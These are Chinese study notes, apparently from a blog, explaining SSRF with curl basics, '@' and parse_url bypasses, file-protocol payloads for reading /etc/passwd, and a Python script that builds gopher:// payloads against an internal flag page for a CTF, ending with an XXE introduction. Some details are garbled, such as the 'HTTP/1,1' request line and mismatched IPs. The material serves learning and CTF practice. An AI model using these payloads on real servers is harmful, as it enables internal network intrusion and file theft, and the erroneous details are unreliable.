SSRF(服务端伪造请求攻击),高危漏洞,可以请求到外网无法访问的内网系统,由服务端发起,可以请求到与该服务器相连的其他的与外网隔离的内网服务器
形成原因大多是由于服务端允许从其他服务器获取服务,但没有对目标地址进行过滤和功能限制
curl命令——http命令行工具,支持文件的上传和下载,可用于扒取内容(url设为百度,就会显示百度的界面——但此时不是跳转到百度,而是在当前页面显示百度的前端——对百度来说,是请求页面的前面的网站请求他的,不是我们的真实IP去请求的——相当于借刀杀人)
语法:# curl [option] [url]
常见用法:
1、测试网页正常
# curl -o /dev/null -s -w %{http_code} www.linux.com
在脚本中,这是很常见的测试网站是否正常的用法
2、保存http的response里面的cookie信息
# curl -c cookiec.txt http://www.linux.com
执行后cookie信息就被存到了cookiec.txt里面了
3、保存http的response里面的header信息
# curl -D cookied.txt http://www.linux.com
执行后cookie信息就被存到了cookied.txt里面了
注意:-c(小写)产生的cookie和-D里面的cookie是不一样的
4、模仿浏览器
curl内置option:-A可以让我们指定浏览器去访问网站
# curl -A "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0)" http://www.linux.com
5、伪造referer(盗链)
很多服务器会检查http访问的referer从而来控制访问。比如:你是先访问首页,然后再访问首页中的邮箱页面,这里访问邮箱的referer地址就是访问首页成功后的页面地址,如果服务器发现对邮箱页面访问的referer地址不是首页的地址,就断定那是个盗连了
curl中内置option:-e可以让我们设定referer# curl -e "www.linux.com" http://mail.linux.com
6、显示抓取错误
# curl -f http://www.linux.com/error
IP查询 - 查IP(www.cip.cc)
该网站用于查询当前的出口IP,在百度翻译界面查询该网站会显示百度翻译服务器的IP地址——百度翻译
可现在上述网址查询目标IP,然后将此页面的URL复制到百度翻译,就可以查询该IP的真实IP,或者出口IP
在别人的网站跳转到目标的恶意网站去,可以校验跳转的URL的域名头,不是当前资产的域名头就不允许跳转
@绕过——@到一个域名,不能是文件
https://blog.csdn.net/?url=http://[email protected]
@绕过的话————此链接就会自己跳转到百度的网站上
URL支持很多的协议:可以使用file协议读取本地的根目录、http/https协议访问一些别的资源、使用FTP协议访问一些资源等——最常用的是file协议
https://blog.csdn.net/?url=file:///etc/password
/etc/passwd 文件
系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。
文件每一行代表着一个用户的信息,格式如下
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
1、x 代表该用户有密码
密码存储在 /etc/shadow 文件中,此文件只有 root 用户可以浏览和操作,这样就最大限度地保证了密码的安全
“x” 不能删除,如果删除了 “x”,那么系统会认为这个用户没有密码,从而导致只输入用户名而不用输入密码就可以登陆
root:x:0:0:root:/root:/bin/bash
xaiowang:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
lihua:x:2:2:bin:/bin:/usr/sbin/nologin
...
wangmei:x:1000:1000:ubuntu-18.04.1,,,:/home/skx:/bin/bash
lilei:x:1001:1001:,,,:/home/lilei:/bin/bash
parse_url()函数:把URL按协议,POST头(www.baidu.com),路径,查询目标等进行解析——只需要校验host头即可
使用[email protected]绕过,就会有一个新的传参user,其值为XXX
换成file协议parse_url()函数也可以解析
白盒审计,碰到如下代码,可以做任意文件读取,也可以访问账号密码
GET传参和POST传参的对象可能会存在不同
一般情况下,传参都是传给当前网页,但如果当前网页是重定向的话,重定向的URL本身就是原URL的传参,如果想要文件的读取权限,只能GET传参跟在URL的后面,不能使用POST传参,POST传参是传给原来的URL
如果非要POST传参,可以使用gopher协议
gopher协议:用于信息查找,可以传递信息给内网,但传递的信息要进行URL编码——空格(%20),换行(%0D),冒号,//,都需要编码
可以直接通过?url=gopher://抓包后的访问目标网站数据包的URL编码(传参类型参考原来需要的参数)
在gopher协议下要注意content_length——它的长度要传参内容的长度保持一致
eg:gopher://目标ip:80_POST%20/security/flag.php……
自动对目标网站传参然后url编码返回,使用的时候在cmd启动python 3.7.2,然后转到脚本所在的目录下(最好放在桌面上,比较好找一些),直接输入脚本名称启动脚本等待返回值即可
实际可以在浏览器传参,burp抓包,然后去掉不重要的内容,合为一行,进行url编码,前面加gopher://196.164.32.4_ 即可
import urllib
import requests
test =\
"""POST /security/flag.php HTTP/1,1
Host:192.164.32.4
Content-Type:application/x-www-form-urlencoded
w=flag.php
"""
tmp=urllib.parse.quote(test) //url编码
new=tmp.replace('0A','%0D%0A') //换行替换
result='gopher://192.164.32.4_'+new //使用的时候换IP即可
print(result)
BUUCTF在线评测——SSRF
先查SSRF存在与否,然后file协议,消除cookie,注册一个,然后load url,sql注入,反序列化得到flag所在的路径[网鼎杯 2018]Fakebook(思路详细有说明)_lazy1310的博客-CSDN博客
ctf-wscan 为ctf而生的web扫描器_ctf-wscan.py/-CSDN博客
清除cookie可以退出当前的登录状态
XXE(XML External Entity Injection) XML外部实体注入,XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
当使用XML进行信息传输的时候,可能就会发生XXE漏洞攻击